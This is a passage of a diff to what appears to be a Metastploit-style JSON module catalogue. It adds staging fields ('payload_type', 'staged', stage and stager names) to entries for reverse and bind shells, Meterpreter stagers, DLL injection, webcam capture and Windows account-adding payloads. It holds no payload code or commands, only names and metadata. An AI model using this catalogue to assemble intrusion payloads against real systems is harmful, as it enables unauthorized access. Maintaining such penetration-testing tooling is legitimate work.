}, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/isight/bind_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Bind TCP Stager", @@ -197004,7 +217947,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/isight", + "stager_refname": "osx/x86/bind_tcp" }, "payload_osx/x86/isight/reverse_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Reverse TCP Stager", @@ -197038,7 +217985,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/isight", + "stager_refname": "osx/x86/reverse_tcp" }, "payload_osx/x86/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", @@ -197072,7 +218023,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/shell_find_port": { "name": "OS X Command Shell, Find Port Inline", @@ -197106,7 +218059,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", @@ -197140,7 +218095,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/vforkshell/bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Stager", @@ -197174,7 +218131,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/vforkshell", + "stager_refname": "osx/x86/bind_tcp" }, "payload_osx/x86/vforkshell/reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Stager", @@ -197208,7 +218169,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/vforkshell", + "stager_refname": "osx/x86/reverse_tcp" }, "payload_osx/x86/vforkshell_bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Inline", @@ -197242,7 +218207,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/vforkshell_reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Inline", @@ -197276,7 +218243,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_perl": { "name": "PHP Command Shell, Bind TCP (via Perl)", @@ -197311,7 +218280,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_perl_ipv6": { "name": "PHP Command Shell, Bind TCP (via perl) IPv6", @@ -197346,7 +218317,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_php": { "name": "PHP Command Shell, Bind TCP (via PHP)", @@ -197381,7 +218354,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_php_ipv6": { "name": "PHP Command Shell, Bind TCP (via php) IPv6", @@ -197416,7 +218391,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/download_exec": { "name": "PHP Executable Download and Execute", @@ -197450,7 +218427,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/exec": { "name": "PHP Execute Command ", @@ -197484,7 +218463,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/meterpreter/bind_tcp": { "name": "PHP Meterpreter, Bind TCP Stager", @@ -197518,7 +218499,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp" }, "payload_php/meterpreter/bind_tcp_ipv6": { "name": "PHP Meterpreter, Bind TCP Stager IPv6", @@ -197552,7 +218537,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_ipv6" }, "payload_php/meterpreter/bind_tcp_ipv6_uuid": { "name": "PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support", @@ -197587,7 +218576,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_ipv6_uuid" }, "payload_php/meterpreter/bind_tcp_uuid": { "name": "PHP Meterpreter, Bind TCP Stager with UUID Support", @@ -197622,7 +218615,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_uuid" }, "payload_php/meterpreter/reverse_tcp": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", @@ -197656,7 +218653,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/reverse_tcp" }, "payload_php/meterpreter/reverse_tcp_uuid": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", @@ -197691,7 +218692,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/reverse_tcp_uuid" }, "payload_php/meterpreter_reverse_tcp": { "name": "PHP Meterpreter, Reverse TCP Inline", @@ -197725,7 +218730,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/reverse_perl": { "name": "PHP Command, Double Reverse TCP Connection (via Perl)", @@ -197759,7 +218766,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/reverse_php": { "name": "PHP Command Shell, Reverse TCP (via PHP)", @@ -197793,7 +218802,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/shell_findsock": { "name": "PHP Command Shell, Find Sock", @@ -197827,7 +218838,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter/bind_tcp": { "name": "Python Meterpreter, Python Bind TCP Stager", @@ -197861,7 +218874,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" }, "payload_python/meterpreter/bind_tcp_uuid": { "name": "Python Meterpreter, Python Bind TCP Stager with UUID Support", @@ -197896,7 +218913,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" }, "payload_python/meterpreter/reverse_http": { "name": "Python Meterpreter, Python Reverse HTTP Stager", @@ -197930,7 +218951,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" }, "payload_python/meterpreter/reverse_https": { "name": "Python Meterpreter, Python Reverse HTTPS Stager", @@ -197964,7 +218989,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" }, "payload_python/meterpreter/reverse_tcp": { "name": "Python Meterpreter, Python Reverse TCP Stager", @@ -197998,7 +219027,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" }, "payload_python/meterpreter/reverse_tcp_ssl": { "name": "Python Meterpreter, Python Reverse TCP SSL Stager", @@ -198034,7 +219067,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" }, "payload_python/meterpreter/reverse_tcp_uuid": { "name": "Python Meterpreter, Python Reverse TCP Stager with UUID Support", @@ -198069,7 +219106,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" }, "payload_python/meterpreter_bind_tcp": { "name": "Python Meterpreter Shell, Bind TCP Inline", @@ -198103,7 +219144,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter_reverse_http": { "name": "Python Meterpreter Shell, Reverse HTTP Inline", @@ -198137,7 +219180,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter_reverse_https": { "name": "Python Meterpreter Shell, Reverse HTTPS Inline", @@ -198171,7 +219216,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter_reverse_tcp": { "name": "Python Meterpreter Shell, Reverse TCP Inline", @@ -198205,7 +219252,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/pingback_bind_tcp": { "name": "Python Pingback, Bind TCP (via python)", @@ -198239,7 +219288,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/pingback_reverse_tcp": { "name": "Python Pingback, Reverse TCP (via python)", @@ -198273,7 +219324,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via python)", @@ -198297,7 +219350,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "python/shell_bind_tcp", @@ -198307,7 +219360,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_sctp": { "name": "Command Shell, Reverse SCTP (via python)", @@ -198331,7 +219386,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-12 10:24:19 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_reverse_sctp.rb", "is_install_path": true, "ref_name": "python/shell_reverse_sctp", @@ -198341,7 +219396,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via python)", @@ -198365,7 +219422,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:52:33 +0000", "path": "/modules/payloads/singles/python/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "python/shell_reverse_tcp", @@ -198375,7 +219432,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via python)", @@ -198399,7 +219458,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb", "is_install_path": true, "ref_name": "python/shell_reverse_tcp_ssl", @@ -198409,7 +219468,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_udp": { "name": "Command Shell, Reverse UDP (via python)", @@ -198433,7 +219494,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_reverse_udp.rb", "is_install_path": true, "ref_name": "python/shell_reverse_udp", @@ -198443,7 +219504,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_r/shell_bind_tcp": { "name": "R Command Shell, Bind TCP", @@ -198477,7 +219540,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_r/shell_reverse_tcp": { "name": "R Command Shell, Reverse TCP", @@ -198511,7 +219576,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/pingback_bind_tcp": { "name": "Ruby Pingback, Bind TCP", @@ -198545,7 +219612,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/pingback_reverse_tcp": { "name": "Ruby Pingback, Reverse TCP", @@ -198579,7 +219648,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_bind_tcp": { "name": "Ruby Command Shell, Bind TCP", @@ -198614,7 +219685,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_bind_tcp_ipv6": { "name": "Ruby Command Shell, Bind TCP IPv6", @@ -198649,7 +219722,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_reverse_tcp": { "name": "Ruby Command Shell, Reverse TCP", @@ -198684,7 +219759,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_reverse_tcp_ssl": { "name": "Ruby Command Shell, Reverse TCP SSL", @@ -198718,7 +219795,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/sparc/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", @@ -198752,7 +219831,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/sparc/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", @@ -198786,7 +219867,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/sparc/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", @@ -198820,7 +219903,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/x86/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", @@ -198854,7 +219939,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/x86/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", @@ -198888,7 +219975,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/x86/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", @@ -198922,7 +220011,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_tty/unix/interact": { "name": "Unix TTY, Interact with Established Connection", @@ -198956,7 +220047,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/adduser": { "name": "Windows Execute net user /ADD", @@ -198993,7 +220086,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/custom/bind_hidden_ipknock_tcp": { "name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager", @@ -199031,7 +220126,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/custom/bind_hidden_tcp": { "name": "Windows shellcode stage, Hidden Bind TCP Stager", @@ -199069,7 +220168,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", @@ -199106,7 +220209,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -199144,7 +220251,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager", @@ -199179,7 +220290,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/custom/bind_nonx_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)", @@ -199214,7 +220329,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/custom/bind_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (Windows x86)", @@ -199251,7 +220370,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp" }, "payload_windows/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -199290,7 +220413,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", @@ -199326,7 +220453,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/custom/find_tag": { "name": "Windows shellcode stage, Find Tag Ordinal Stager", @@ -199361,7 +220492,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/findtag_ord" }, "payload_windows/custom/reverse_hop_http": { "name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", @@ -199398,7 +220533,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/custom/reverse_http": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", @@ -199433,7 +220572,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http" }, "payload_windows/custom/reverse_http_proxy_pstore": { "name": "Windows shellcode stage, Reverse HTTP Stager Proxy", @@ -199468,7 +220611,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/custom/reverse_https": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", @@ -199503,7 +220650,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https" }, "payload_windows/custom/reverse_https_proxy": { "name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", @@ -199540,7 +220691,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https_proxy" }, "payload_windows/custom/reverse_ipv6_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (IPv6)", @@ -199577,7 +220732,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -199612,7 +220771,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_named_pipe" }, "payload_windows/custom/reverse_nonx_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", @@ -199647,7 +220810,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/custom/reverse_ord_tcp": { "name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -199682,7 +220849,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/custom/reverse_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager", @@ -199719,7 +220890,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/custom/reverse_tcp_allports": { "name": "Windows shellcode stage, Reverse All-Port TCP Stager", @@ -199756,7 +220931,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/custom/reverse_tcp_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (DNS)", @@ -199794,7 +220973,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -199833,7 +221016,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/custom/reverse_tcp_rc4_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -199872,7 +221059,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support", @@ -199908,7 +221099,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/custom/reverse_udp": { "name": "Windows shellcode stage, Reverse UDP Stager with UUID Support", @@ -199943,7 +221138,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_udp" }, "payload_windows/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", @@ -199979,7 +221178,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", @@ -200015,7 +221218,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttps" }, "payload_windows/dllinject/bind_hidden_ipknock_tcp": { "name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager", @@ -200053,7 +221260,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/dllinject/bind_hidden_tcp": { "name": "Reflective DLL Injection, Hidden Bind TCP Stager", @@ -200091,7 +221302,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/dllinject/bind_ipv6_tcp": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)", @@ -200128,7 +221343,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/dllinject/bind_ipv6_tcp_uuid": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -200166,7 +221385,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/dllinject/bind_named_pipe": { "name": "Reflective DLL Injection, Windows x86 Bind Named Pipe Stager", @@ -200202,7 +221425,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/dllinject/bind_nonx_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (No NX or Win7)", @@ -200238,7 +221465,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/dllinject/bind_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (Windows x86)", @@ -200275,7 +221506,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/dllinject/bind_tcp_rc4": { "name": "Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -200314,7 +221549,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/dllinject/bind_tcp_uuid": { "name": "Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)", @@ -200351,7 +221590,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/dllinject/find_tag": { "name": "Reflective DLL Injection, Find Tag Ordinal Stager", @@ -200387,7 +221630,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/dllinject/reverse_hop_http": { "name": "Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager", @@ -200425,7 +221672,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, 